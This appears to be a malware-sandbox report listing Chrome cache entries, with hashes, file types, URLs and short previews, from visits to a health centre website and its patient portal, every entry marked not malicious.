SHA-512:	1AD414238D6F2AD7471B5ABF1F096D803BB1F698DC5516D6B378D6AC4697D4889E1A44E3A7B62B29B95F7B02B5FF591FA4F92DD6371204CEEB9DCE38B9C8C35A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/favicon-32x32.png
Preview:	.PNG........IHDR... ... .....szz.....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD..............pHYs................QIDATX..[l\W...u..l./....'..7u.6.I..-..8.%E"j.....TA$CE.'.@..P.\U.T...P5r..%CJ.U.P..n..n..c;....3..3g.p....6...]..ly.......................r .....,...'Q......6.y`.8.\...D....\^.\|........5 ..G_}.c,5W.v..@......z..A.B .......@....._.<}Sef1......\|.x......U.O....@?..... .E...H..ZQ.(..D.?\.z..).U .....{;..0R.r.+.+..b.5.A.N....u.i.vO?z./T..-&K...E.P.x.5.kg.....Vo.\|..[/..L.\|....<.#......-.q.F .\|.x..w.J.~.c...<b...w..k....}..^..G........w......_.~....=@.....\|......".Ub......jJ-&.S"......}S ...~a.....a......+.`.<`M.....H_(.<...^.^.....q3....@...W`v......Te$R.y...Xc...iI...p._...7..}_w+p7..P.....2..,......z......y.o.\|.s1..b...e...~.f...............B,...WW.^..~....^.)O4.xo....F<....Y...".....W.= ............W'W.T..R.pf!.G./.?.... .KEm....S.g/W."..K.Z=..N!.A%f...b..U.O.o.h....c.B...@&A...L...7Z7.\...

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 150x150, segment length 16, progressive, precision 8, 900x750, components 3
Category:	downloaded
Size (bytes):	157306
Entropy (8bit):	7.930563947364863
Encrypted:	false
SSDEEP:	3072:3Y3nwQWwy0oII5I+sP6Kn/8dMHXAyL6zzV+ebF7U0mHcIkOJ6:FwPUG/4NzVhF/BOJ6
MD5:	86E47E7C226EC93530F6A8B703C7FB81
SHA1:	3571C93770F6301B6B3991832856D159394CA869
SHA-256:	E41BB22785BAD6D18EE977EA2313CBFF95E1672C37046DB2DEABCE86EC6248CE
SHA-512:	43C0A6C86575C05801D5D17B2322158468BB9513FBEE07415D1DDB33C35AFBF0D3E9149218F88247EE8DFBAFBBBBA13A50FD427BD2AF7FEBA4FEFA2AE2EDF442
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2022/11/FTCA-Badge_web-version.jpg
Preview:	......JFIF.............C....................................................................C..................................................................................................................................................................................................................................................................................................b;....4......................................Y...`.....1..b.........@....................................<u..\|.Wv.r........)t2..[wz.....................................Lq5..\|.Wv......u.<......]..W........................................,..L.U=Z.t...,..y...\.{.Ox.................b.....v..-..[y.K.:....3].+...]Y.=;2.}..................}..C..}s.P...3f.y.hm..6..T....................].8..@.......f....M....2.............._.....\..T......}......7.............(.c.......v....;.J....N.....F^:.3.d.[......4..G>.a..................ho^..^w....fl..>......................,u..WU:.h.@...eJ.omY..0..=...\|..s

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65446), with CRLF line terminators
Category:	downloaded
Size (bytes):	89503
Entropy (8bit):	5.290152941028811
Encrypted:	false
SSDEEP:	1536:ejExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1vE:eIh8GgP3hujzwbhd3XvSiDQ47GKq
MD5:	0732E3EABBF8AA7CE7F69EEDBD07DFDD
SHA1:	4CD5DDC413B3024D7B56331C0D0D0B2BD933F27F
SHA-256:	CE9D07500AD91EC2B524C270764EC4C9A33E78320D8D374EC400EDE488F6251B
SHA-512:	41D24C426ABCF913BE59917591D906318A547661280036B098A2B1B948BCF9FF14F268B140DB10956730D64A857A61B81034D888ED7F857419DEE6B8D327447C
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}func

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	3023
Entropy (8bit):	4.835820865292023
Encrypted:	false
SSDEEP:	48:rnbVUBxXz2dc40BM3j1FNMsmNrCzqu/eBMThmn:DbVel03jJMsmN+Tcn
MD5:	8AA2AB903843CF2A5CFF1E31165D44EC
SHA1:	4103B47C4AAA97D166DB1D9A83B9EEAD553AD994
SHA-256:	6F37789F511D3D6ABF8AD9B5DE3A0EE9CD1ED468B61D1BEAC7A1765A0279C70B
SHA-512:	4AD5FE56FAF1988CF23EA8F645F75FC8961C97C0C6469CE6C13E5723C9A4529CD830EFDFEFA0F1135F6E65F6A9B4F7574E1B6021AA6F520DB5AFE15B9D9908FC
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/jquery.slick/1.5.1/slick-theme.css
Preview:	@charset 'UTF-8';./* Slider /..slick-loading .slick-list.{. background: #fff url('./ajax-loader.gif') center center no-repeat;.}../ Icons /.@font-face.{. font-family: 'slick';. font-weight: normal;. font-style: normal;.. src: url('./fonts/slick.eot');. src: url('./fonts/slick.eot?#iefix') format('embedded-opentype'), url('./fonts/slick.woff') format('woff'), url('./fonts/slick.ttf') format('truetype'), url('./fonts/slick.svg#slick') format('svg');.}./ Arrows */..slick-prev,..slick-next.{. font-size: 0;. line-height: 0;.. position: absolute;. top: 50%;.. display: block;.. width: 20px;. height: 20px;. margin-top: -10px;. padding: 0;.. cursor: pointer;.. color: transparent;. border: none;. outline: none;. background: transparent;.}..slick-prev:hover,..slick-prev:focus,..slick-next:hover,..slick-next:focus.{. color: transparent;. outline: none;. background: transparent;.}..slick-prev:hover:before,..slick-prev:focus:be

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16194)
Category:	downloaded
Size (bytes):	16449
Entropy (8bit):	5.151903892689731
Encrypted:	false
SSDEEP:	384:8ZAA6pB56II70uUl+V3TELHNqR+F0mbmwOwOX:kApB5IHtTY5FrU
MD5:	543FEB1ECAF06EA516F8CEC5F9F3F279
SHA1:	2A515632E0FD8FFDEB8D94CB25E44CF287FEB32F
SHA-256:	A1B6400A21DDEE090E93D8882FFA629963132785BFA41B0ABBEA199D278121E9
SHA-512:	EDF361ECE5066BB6DDA66490F3588DC60072C2CA4D4F15710717DB4F58129D0D76E1519F92C8F7011FD01A175868EF192C704B4A869AF95B150E0C3BF797816B
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.8.3/underscore-min.js
Preview:	// Underscore.js 1.8.3.// http://underscorejs.org.// (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors.// Underscore may be freely distributed under the MIT license..(function(){function n(n){function t(t,r,e,u,i,o){for(;i>=0&&o>i;i+=n){var a=u?u[i]:i;e=r(e,t[a],a,t)}return e}return function(r,e,u,i){e=b(e,i,4);var o=!k(r)&&m.keys(r),a=(o\|\|r).length,c=n>0?0:a-1;return arguments.length<3&&(u=r[o?o[c]:c],c+=n),t(r,e,u,o,c,a)}}function t(n){return function(t,r,e){r=x(r,e);for(var u=O(t),i=n>0?0:u-1;i>=0&&u>i;i+=n)if(r(t[i],i,t))return i;return-1}}function r(n,t,r){return function(e,u,i){var o=0,a=O(e);if("number"==typeof i)n>0?o=i>=0?i:Math.max(i+a,o):a=i>=0?Math.min(i+1,a):i+a+1;else if(r&&i&&a)return i=r(e,u),e[i]===u?i:-1;if(u!==u)return i=t(l.call(e,o,a),m.isNaN),i>=0?i+o:-1;for(i=n>0?o:a-1;i>=0&&a>i;i+=n)if(e[i]===u)return i;return-1}}function e(n,t){var r=I.length,e=n.constructor,u=m.isFunction(e)&&e.prototype\|\|a,i="constructor";for(m

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4179)
Category:	downloaded
Size (bytes):	203326
Entropy (8bit):	5.5397894968845005
Encrypted:	false
SSDEEP:	3072:TQhzgNSNow8VNIAx8pF1+TYc2HcbUCQDe5L+aVsQC7SMp:MhewMNkq7ADe5LfV9C2y
MD5:	23BB426D2ED55AF22460E562BB574A3D
SHA1:	311E81BAD2EDFF6AEAAE5D2218A1A507D44EB8BF
SHA-256:	2045875E9CCBF77E6E232B6CB210BEE7693CE2C50C131464E612F95075DBAE47
SHA-512:	CE7D3791D03E8EF985BB37DBEEA36037787FD490E528FF60715162DF59B6BC47EBB14E845487FB197C69CBAD400597D5C14CB4C11F6B2C8B145E3DE9A6DD31AF
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=UA-128496723-1
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":"undefined"}],. "tags":[{"function":"__ogt_1p_data_v2","priority":2,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"","vtp_isAutoCollectPiiEnab

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 18, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	90
Entropy (8bit):	5.125258058768364
Encrypted:	false
SSDEEP:	3:yionv//thPlnlJ/dvNpCbllkup:6v/lhPZVloTkup
MD5:	7D59CED973004E150B6F6740D0E031DE
SHA1:	930CF1DC938155E7BB7D4953C3FD81CB7854650F
SHA-256:	175599178339326734B6C9C9A443754FEBDA1DA2AE01B57C2A4636A7118C3D33
SHA-512:	BF6984D95DA6F0ACD7A2C6A0F4CF8A901E4B51C80DA025AD6106602C1BCEAAD5EA4C0BB591CD4B800FD27FE05D16AA338F1D061D6BC92AB71746F4044D513368
Malicious:	false
Reputation:	low
URL:	https://calendar.google.com/googlecalendar/images/logo-plus.png
Preview:	.PNG........IHDR...................!IDATx.c.i.I.........../ S.H.....K._3}.......IEND.B`.

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	290
Entropy (8bit):	4.975933815216742
Encrypted:	false
SSDEEP:	6:iK8mnNZsPL1xVOK8m/GcMRHpUVNvOK8m/GybRS:p8Phx3z7MRJKzTRS
MD5:	6C2BF3E98AF3E69462DBB5FAAB3E1948
SHA1:	D46F8C02E37C20B1D7C905670FD97DEE715AA062
SHA-256:	4221A98CFE4B4FA2A99AAF961CF2360FFD0938405C6503523A77C0117DE1BEB8
SHA-512:	54A3E4F2F37BB69CB938033AADF17B1261114C86060EC4239559845A4EFCD7B7AE3DDA3B40546F51885179CFB260424533CF23640059552CF04E17CE0A97C514
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_column_content.css?ver=230904-91936
Preview:	.acf-block-column-content .content__icon{width:4.375rem;height:4.375rem}@media (min-width:768px){.acf-block-column-content .c-col-1-5{-webkit-box-flex:0;flex:0 0 50%;max-width:50%}}@media (min-width:992px){.acf-block-column-content .c-col-1-5{-webkit-box-flex:0;flex:0 0 20%;max-width:20%}}

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 61 x 61, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2023
Entropy (8bit):	7.876084430298278
Encrypted:	false
SSDEEP:	48:dkNfvZiWYU3JTkCYiiSX0nx3Ug1qdBh6EJBNEiay:2Jvk2iSQUg1gh6E/qiH
MD5:	37579E61480FD4A9AAFDEF0AA5DD54F8
SHA1:	0E05A1DF9354067ACD530E74052AFF2F83D504F1
SHA-256:	C0219F753234F32AC71B2E54D21CE82C36535351422A388F77FC3B314C59C2E2
SHA-512:	C74A0C16CB910AFB1BBFEEA1A53782CFCC17B62159DE7957969271FDE163404A83AD2C42C483ED2320DCFF0C2C04B054FA01206A1309A669ED2C1A14ADB062F5
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/newLogin/successful.png
Preview:	.PNG........IHDR...=...=......ba.....sBIT....\|.d.....IDAThC.Z.o.G..........Z.D\..H..B....#.C.C.s..p...?....m..........KR.@..R)..JIT5E-I......{ko0.zwfw...{I$........._...Y.ahvf.H...k.P.=....NO.D~K.....U..tjx.+...lv.=.e.d&3h.F.......t..X.)0....MON....:.l./.4..d..c0.&;2....p.8(......G..1u....NO...[;.7hk.....ga.\O....4-BwK..2...Y.dYJ..:...1.Y...7m..`..NOge..O....!'0h.......y.Vem.......pRK......h6]...~...+.q.....~.4..#.!...t?mL.2t..]..#/..{5....PfPz..\|C..p.9.h+..9?.........X..._."{.`.4A..Q`.?...B.:.b_7.sa2...hf.]...f.mo....]......o,F......(..0..Is.]..gtS....U...22..u......l.D..~.]7VTd...5^...+h.7..W.z..p+.W.....xOA.......O1(-G.g1..q.Ka...3.+}N..S.).a.eQ...8;=:v.T.8VP...TP6.... ...9p..,..y..K..H..Q..I8..t2$....-@..+s@..7G.....G.a.....v.T%......!.,..;...qC_W.h...c.}...1S..]f<.n.....q[.u.U.vnz.CY.@...w...{..P.a......'..H..Y..+....5.Ua{...o..L....M/..e&.^..m......P.5.eS.].nK.....n~.....w.gw.<x......k..8f.%w.(.:=.Y.%.;..j7...a...Hv%!.t....+.....YP.C..

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	118
Entropy (8bit):	5.351739447116886
Encrypted:	false
SSDEEP:	3:CsJaYzje/FylhJV576eXFRoAop+8Ij+6W7BWn:N7fOIV576KFRoAoQRj+6Bn
MD5:	029F3AA4854B8C66DB1F31DD62A57D04
SHA1:	EFF5D66C01A2D155BE2AB4B4517FC8C2BD809063
SHA-256:	D104BB2B031AC4243DE1598F349115F407AC44057A56619516FAA259579E27F1
SHA-512:	88D6E768CB7CFCA8AA99FBD7ADD8141B6F06B311F7D1BDB39EF544160D12CBA6857AFB33D65CAB1A01D75A136CA5A66815FC3DF5968ED1CE724021E1E83DC07C
Malicious:	false
Reputation:	low
URL:	https://calendar.google.com/googlecalendar/images/icon_print.gif
Preview:	GIF89a................VV.............!.......,..........;H...0J....P... .x.....U\F.s .v.*..g.....P._.Y3....s.b$..;

Chrome Cache Entry: 496

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10103)
Category:	downloaded
Size (bytes):	10104
Entropy (8bit):	5.25927595270407
Encrypted:	false
SSDEEP:	192:LfZB6p87rbM3DM15HYoFIqfTzvAVTwUZ/hRifBHbbQGPVT5hiyhLWS44qpK7ziK:LBB6+M3DMftzGifBHbc2VDisL14XC
MD5:	CD056B72A31972BE87DBBF0927DC2DFD
SHA1:	54C3779E6CFB48D5FDA25F3462B77A0216371FB0
SHA-256:	CFEE63B22A45F4F02E6E6BAA93AF19E68399A72F6EC390F2795E60DBD72988BA
SHA-512:	A765204469A9101444B26D8CFD9B33ECA1BF267A51F8C9E6D4D7866FDE033F433ED307F718343A926CFACC65EE99420C3A834F7E679E31692B8106775F48499C
Malicious:	false
Reputation:	low
URL:	https://js.adsrvr.org/up_loader.1.1.0.js
Preview:	!function(){"use strict";let c=null;const u=["debug","info","warn","error"];let a=u.reduce((e,d,a)=>(e[d]=function(){var e="debug"===d?"log":d;if(c&&console&&"function"==typeof console[e]){var t=u.indexOf(c.toString().toLocaleLowerCase());if(!0===c\|\|-1<t&&t<=a){for(var n=arguments.length,i=new Array(n),o=0;o<n;o++)i[o]=arguments[o];const[a,...r]=[...i];console[e](d.toUpperCase()+" - (TTD) "+a,...r)}}},e),{});function e(e){c=e}let o=null,n=null,r=[],d=[];function t(e){var t=e[0],e=e[1];if("setIdentifier"!==t)throw"method not implemented";f(e)}function l(){i();{let n=o.detectionEventType,e=(r=m(o.triggerElements),m(o.cssSelectors)),i=[];for(var t of e)t&&t.tagName&&"INPUT"===t.tagName&&i.push(t);a.debug("triggers ",r),a.debug("validInputs ",e),d=[],r.forEach(e=>{d.push(e[n])});for(let t=0;t<r.length;t++)r[t][n]=function(){a.debug("Detect event: ",n,"on element, ",r[t]);for(var e of i){e=e.value.trim();if(function(e){var t=/((([^<>()\[\].,;:\s@"]+(\.[^<>()\[\].,;:\s@"]+)*)\|(".+"))@(([^<>(

Chrome Cache Entry: 497

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7832, version 1.0
Category:	downloaded
Size (bytes):	7832
Entropy (8bit):	7.973030197794656
Encrypted:	false
SSDEEP:	192:6ULCWK5hmsOUo9TcOk0WS0+2ydfNbaBGW4:6ULvKTOxkJkBwMl
MD5:	F4F17FD53C7D040E56F91A3ECB692B22
SHA1:	1B51342175762634835645BA2F99CD3AB0AC615C
SHA-256:	B0B43E548E691662DAC85B1DC159D148A273D5CB9139F3FCF457CDEEBE7BDF3F
SHA-512:	4C8E566CF7FFCCDB5592D4DC6F6A991A8E975473C43172F2D55E03D3196DF67FAE02728A7E5170B6182A2E9AE3FE3004CC93008C9664CB37B6DB64340A023AF4
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/fonts/newLogin/devCustomFonts/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2
Preview:	wOF2..............>P...F......................... .0.`..T.......6..6.$..h. ..D.....03.1...3n.(..e._&hG...FX...Eq.3QL.SG..;...C.B.J{...j+n.4&.'j?.{?..J .0....B.e..e.uDB..Nnx~.=.^.6m.D.......TY.`b.V.\...;W7.7].UmW..^_.?../k..D0O..Y..R...=.......F.5.;...]N.6....^......Jm..BX...$...R..Mz..t...p.>F.U.n.P.2u.....lI...$..^..C.^...wC... ...z...%5P......_.S.rv&....d0.?.....9l..B..D.B...............'.\..5.....p....P/....y.e.../.O...:..}..+XM.Wy\|...E.....vx.......5..x..g.`.O@.....,.x...`..k...[.1......j_.&....0.x..s...m........=.S.`B0.P......]k........{.....N<:.h...#...n=..`.{.`P^w.......>....._.`......0..C,.w..<f.S.......s.3;.......2.:.<..^.c.L.'..{.K"..N.....=k.... ..3g.@.........Z,J....4.0.5........V....%..>.... ;..I..L.N.N.Gc5....Tsc..+R.M...V:..iF...W....>...a.Q..B_.[..'dQ..F.....;.....c.u`.7.{G.9...57.....4.i.../;~......~mlSo..../.\|.....\|..7bl..(..W./.*........Y......3.(.(.txh.....c.n...v&P......Z.m.].....I.@.>ZZ7X/u;..."S{.....\.....j[....=....

Chrome Cache Entry: 498

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	29244
Entropy (8bit):	7.970051100050737
Encrypted:	false
SSDEEP:	768:aOX/psUXnU4UQv/ysU+i8gptWFZhgvUr9OZayYWUks:aOX/zXnU4ntfxhgvUr9HWq
MD5:	3F1393E33C87503D5A75297ABC3C2298
SHA1:	1FF7F4CFBCD53EB3CFB0240B357ACF120CCC3B09
SHA-256:	D814AF7D0F37481083034B630FCE1D1E974F0275AFA141AE8325106444F1B253
SHA-512:	26C109428C06236FDB41A643F6A6CA08C55D7B72C42397B83FB7ECE3A6CB736D83AE5FCB0888CFFA3F98CBD684C383D0D91576F833C79B9E480D60710115829A
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA4_2t6WCU1nG3S-uFh1AoanZylSh2gX5aiCzj47soDLxJFFrcfMGiH13riGLCyzWNyTlS0K7_weL3jT4x94KnK76o944QkY9Cx2b8QUdS3NuJw1nUiWRbZl2go73tEGjbXOvHs5IcjVARjWnxSj85oSOVJ9yh4dgHtnXLQxLp9BH4JuMir12r4Oed83TFsBICmCFLXddQPHnYrE6bjjcjjxTspCfw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....9^....=W."...47...R..T..F....K]^.9?rY..9.1..3..x.5..#6....1.^K..I.`.m...=(Y...s4g...+.\|..5.z...d...2..dpx...:.+.:.W.<+l.%_._.'.m.....h.P.<..F9(.3....8.T...f5.y-....x.K...J0.....w..v..-...z...k{.(............F..f...c.....<.=...........$.2...$.rO.....Q.`eB....8p..R...].Z.....%.d...{...ml.g..*r..z..,V..F.m^.y...KR.\|...>.......].mE"..F. _ ..8..?Z..rv

Chrome Cache Entry: 499

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57147), with CRLF line terminators
Category:	downloaded
Size (bytes):	57337
Entropy (8bit):	4.717801378234002
Encrypted:	false
SSDEEP:	768:hYC319PizNq4/xeo8UHJPkQBR/oMQyYJrXA5CthZQzj:hYkPUE4/IuHRBBWfdAstAv
MD5:	7D9F20AFCDAB719E7BABDA515E964A44
SHA1:	2972BB4DB3363C9FF1383AAC2107ECA9585B3DB1
SHA-256:	9A9A28D750579AC666F56C250A9FE0CA251A3D312902C5AA8DDC118B776A1EF6
SHA-512:	761094A1BBB2BC8602AC536C4461C3BB0830F5D012A6B54A85E4F8832F9099F45159496615E460B3B46F68D6A3FF7160DA4FA45261B56BE8E595FCDE938F7410
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/fontawesome/css/all.min.css?ver=5.12.1
Preview:	/!.. Font Awesome Free 5.12.1 by @fontawesome - https://fontawesome.com.. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License).. */...fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.f

Chrome Cache Entry: 500

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32068)
Category:	downloaded
Size (bytes):	36757
Entropy (8bit):	5.173174344343287
Encrypted:	false
SSDEEP:	768:Lc+tm6ZvZyjBkgOr4KHMEYX11bPzESGverZ5JgZZ7NcKhO5RruTic:xUAUXR11bPzaepfruec
MD5:	1DE75713B72F8E116CA393F4D0DACCB3
SHA1:	FC4F46876FA9D5F3D7AF59B42870BF0FCB660EB7
SHA-256:	9D3F975CF634A73038B311FBDB4DF1307B07FE7DF5BD176F2D04F13865FA1A3C
SHA-512:	2C5AE0DB513887943DE24F2AFC5F35FDF49F29A2C80610B202570F334D6648C4CA77187D49213A36DBDEB83D814F58AA692632C29909A3C03DEABBF86150A2B2
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/jquery.slick/1.5.1/slick.min.js
Preview:	/. _ _ _ _. ___\| (_) ___\| \| __ (_)___./ __\| \| \|/ __\| \|/ / \| / __\|.\__ \ \| \| (__\| < _ \| \__ \.\|___/_\|_\|\___\|_\|\_(_)/ \|___/. \|__/.. Version: 1.5.1. Author: Ken Wheeler. Website: http://kenwheeler.github.io. Docs: http://kenwheeler.github.io/slick. Repo: http://github.com/kenwheeler/slick. Issues: http://github.com/kenwheeler/slick/issues.. /.!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):"undefined"!=typeof exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){"use strict";var b=window.Slick\|\|{};b=function(){function c(c,d){var f,g,h,e=this;if(e.defaults={accessibility:!0,adaptiveHeight:!1,appendArrows:a(c),appendDots:a(c),arrows:!0,asNavFor:null,prevArrow:'<button type="button" data-role="none" class="slick-prev" aria-label="previous">Previous</button>',nextArrow:'<button type="button" data-role="none" class="slick-next" aria-label="next">Next</button>',autoplay:!1,autoplaySpeed:3e3,centerM

Chrome Cache Entry: 501

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1464)
Category:	downloaded
Size (bytes):	1499
Entropy (8bit):	5.1234685852682915
Encrypted:	false
SSDEEP:	24:/QcKBbSuBt1z7r7/YDEHEWcF4mBbFH6Vy/2pqx6+HViR7UbXxvE47YoUk9r:/QlhSuhWQ0hJF9/2E9o7EBvE47YoUk9r
MD5:	CEE4B9C27729851C088C85BD60BE800E
SHA1:	C9F53442A61A221A7BC738B98FD0C098BCC22220
SHA-256:	855E395B5042677367CB70343B370D3DD2DFFD73EE62EAD09BDE853244AB1B1D
SHA-512:	D9B788811D5204A01474ADB20CF5AA6290E978B62B13F07DCFC14DB7FBCF0ACB58575E3F26C9EB74E62FD4FECBD29379C76311D53EA3D868D77CE8749A96EF24
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/jquery.cookie.js?ver=20240319
